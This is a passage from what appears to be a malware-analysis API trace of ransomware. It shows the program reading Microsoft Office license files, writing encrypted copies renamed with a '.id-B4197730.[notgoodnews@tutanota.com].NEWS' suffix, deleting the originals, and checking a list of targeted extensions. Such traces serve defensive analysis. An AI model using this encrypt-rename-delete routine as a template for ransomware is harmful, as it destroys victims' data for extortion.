(lpString1=".bz2", lpString2="m-ms") returned -1 [0185.532] lstrlenW (lpString=".7z") returned 3 [0185.532] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.532] lstrlenW (lpString=".dbf") returned 4 [0185.532] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.532] lstrlenW (lpString=".1cd") returned 4 [0185.532] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.532] lstrlenW (lpString=".jpg") returned 4 [0185.532] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.532] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.532] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31 [0185.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0185.533] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=10659) returned 1 [0185.533] CloseHandle (hObject=0x564) returned 1 [0185.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0185.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0185.534] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.534] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0185.535] GetLastError () returned 0x0 [0185.535] ReadFile (in: hFile=0x564, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0185.754] WriteFile (in: hFile=0x4dc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0185.756] ReadFile (in: hFile=0x564, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.756] WriteFile (in: hFile=0x4dc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x112, lpOverlapped=0x0) returned 1 [0185.756] SetEndOfFile (hFile=0x4dc) returned 1 [0185.756] CloseHandle (hObject=0x4dc) returned 1 [0185.756] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.756] SetEndOfFile (hFile=0x564) returned 1 [0185.760] CloseHandle (hObject=0x564) returned 1 [0185.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0186.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.916] lstrlenW (lpString=".doc") returned 4 [0186.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.916] lstrlenW (lpString=".docx") returned 5 [0186.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.916] lstrlenW (lpString=".pdf") returned 4 [0186.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.916] lstrlenW (lpString=".xls") returned 4 [0186.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.916] lstrlenW (lpString=".xlsx") returned 5 [0186.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.917] lstrlenW (lpString=".ppt") returned 4 [0186.917] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.917] lstrlenW (lpString=".zip") returned 4 [0186.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString=".rar") returned 4 [0186.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString=".bz2") returned 4 [0186.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString=".7z") returned 3 [0186.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.917] lstrlenW (lpString=".dbf") returned 4 [0186.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.917] lstrlenW (lpString=".1cd") returned 4 [0186.917] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.917] lstrlenW (lpString=".jpg") returned 4 [0186.917] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.917] lstrlenW (lpString=".doc") returned 4 [0186.917] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString=".docx") returned 5 [0186.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.918] lstrlenW (lpString=".pdf") returned 4 [0186.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString=".xls") returned 4 [0186.918] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString=".xlsx") returned 5 [0186.918] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.918] lstrlenW (lpString=".ppt") returned 4 [0186.918] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.918] lstrlenW (lpString=".zip") returned 4 [0186.918] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString=".rar") returned 4 [0186.918] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString=".bz2") returned 4 [0186.918] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString=".7z") returned 3 [0186.918] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.918] lstrlenW (lpString=".dbf") returned 4 [0186.918] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.918] lstrlenW (lpString=".1cd") returned 4 [0186.918] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0186.918] lstrlenW (lpString=".jpg") returned 4 [0186.918] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.918] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.918] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30 [0186.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.920] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=22214) returned 1 [0186.920] CloseHandle (hObject=0x550) returned 1 [0186.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0186.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0187.159] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.196] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.198] GetLastError () returned 0x0 [0187.198] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x56c6, lpOverlapped=0x0) returned 1 [0187.200] WriteFile (in: hFile=0x574, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0187.201] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.201] WriteFile (in: hFile=0x574, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x110, lpOverlapped=0x0) returned 1 [0187.202] SetEndOfFile (hFile=0x574) returned 1 [0187.202] CloseHandle (hObject=0x574) returned 1 [0187.202] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.202] SetEndOfFile (hFile=0x570) returned 1 [0187.205] CloseHandle (hObject=0x570) returned 1 [0187.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0187.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.206] lstrlenW (lpString=".doc") returned 4 [0187.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.206] lstrlenW (lpString=".docx") returned 5 [0187.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.206] lstrlenW (lpString=".pdf") returned 4 [0187.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.206] lstrlenW (lpString=".xls") returned 4 [0187.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.206] lstrlenW (lpString=".xlsx") returned 5 [0187.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.206] lstrlenW (lpString=".ppt") returned 4 [0187.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.206] lstrlenW (lpString=".zip") returned 4 [0187.206] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.206] lstrlenW (lpString=".rar") returned 4 [0187.206] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".bz2") returned 4 [0187.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".7z") returned 3 [0187.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.207] lstrlenW (lpString=".dbf") returned 4 [0187.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.207] lstrlenW (lpString=".1cd") returned 4 [0187.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.207] lstrlenW (lpString=".jpg") returned 4 [0187.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.207] lstrlenW (lpString=".doc") returned 4 [0187.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".docx") returned 5 [0187.207] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.207] lstrlenW (lpString=".pdf") returned 4 [0187.207] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".xls") returned 4 [0187.207] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".xlsx") returned 5 [0187.207] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.207] lstrlenW (lpString=".ppt") returned 4 [0187.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.207] lstrlenW (lpString=".zip") returned 4 [0187.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".rar") returned 4 [0187.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".bz2") returned 4 [0187.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.207] lstrlenW (lpString=".7z") returned 3 [0187.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.208] lstrlenW (lpString=".dbf") returned 4 [0187.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.208] lstrlenW (lpString=".1cd") returned 4 [0187.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0187.208] lstrlenW (lpString=".jpg") returned 4 [0187.208] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.208] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.208] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32 [0187.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0187.209] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11619) returned 1 [0187.209] CloseHandle (hObject=0x570) returned 1 [0187.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0187.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0187.210] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.210] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.210] GetLastError () returned 0x0 [0187.210] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d63, lpOverlapped=0x0) returned 1 [0187.212] WriteFile (in: hFile=0x574, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0187.213] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.213] WriteFile (in: hFile=0x574, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x114, lpOverlapped=0x0) returned 1 [0187.213] SetEndOfFile (hFile=0x574) returned 1 [0187.213] CloseHandle (hObject=0x574) returned 1 [0187.214] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.214] SetEndOfFile (hFile=0x570) returned 1 [0187.217] CloseHandle (hObject=0x570) returned 1 [0187.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0187.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.218] lstrlenW (lpString=".doc") returned 4 [0187.218] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.218] lstrlenW (lpString=".docx") returned 5 [0187.218] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.218] lstrlenW (lpString=".pdf") returned 4 [0187.218] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.218] lstrlenW (lpString=".xls") returned 4 [0187.218] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.218] lstrlenW (lpString=".xlsx") returned 5 [0187.218] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.218] lstrlenW (lpString=".ppt") returned 4 [0187.218] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.218] lstrlenW (lpString=".zip") returned 4 [0187.218] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.218] lstrlenW (lpString=".rar") returned 4 [0187.219] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".bz2") returned 4 [0187.219] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".7z") returned 3 [0187.219] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.219] lstrlenW (lpString=".dbf") returned 4 [0187.219] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.219] lstrlenW (lpString=".1cd") returned 4 [0187.219] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.219] lstrlenW (lpString=".jpg") returned 4 [0187.219] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.219] lstrlenW (lpString=".doc") returned 4 [0187.219] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".docx") returned 5 [0187.219] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.219] lstrlenW (lpString=".pdf") returned 4 [0187.219] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".xls") returned 4 [0187.219] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".xlsx") returned 5 [0187.219] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.219] lstrlenW (lpString=".ppt") returned 4 [0187.219] lstrcmpiW 